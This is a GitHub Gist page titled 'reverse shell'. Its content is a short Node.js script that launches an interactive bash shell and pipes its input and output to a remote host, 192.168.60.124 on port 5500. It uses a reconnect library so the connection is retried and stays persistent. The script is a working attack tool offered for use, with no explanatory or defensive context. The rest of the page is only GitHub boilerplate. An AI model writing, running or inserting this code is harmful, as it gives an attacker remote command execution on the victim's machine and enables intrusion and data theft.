Created
April 10, 2020 15:32
-
-
Save atmoner/d3547f417abf2709506a04aa75bba677 to your computer and use it in GitHub Desktop.
reverse shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var spawn = require('child_process').spawn; | |
var net = require('net'); | |
var reconnect = require('reconnect'); | |
reconnect(function (stream) { | |
var ps = spawn('bash', [ '-i' ]); | |
stream.pipe(ps.stdin); | |
ps.stdout.pipe(stream, { end: false }); | |
ps.stderr.pipe(stream, { end: false }); | |
ps.on('exit', function () { stream.end() }); | |
}).connect(5500, '192.168.60.124'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment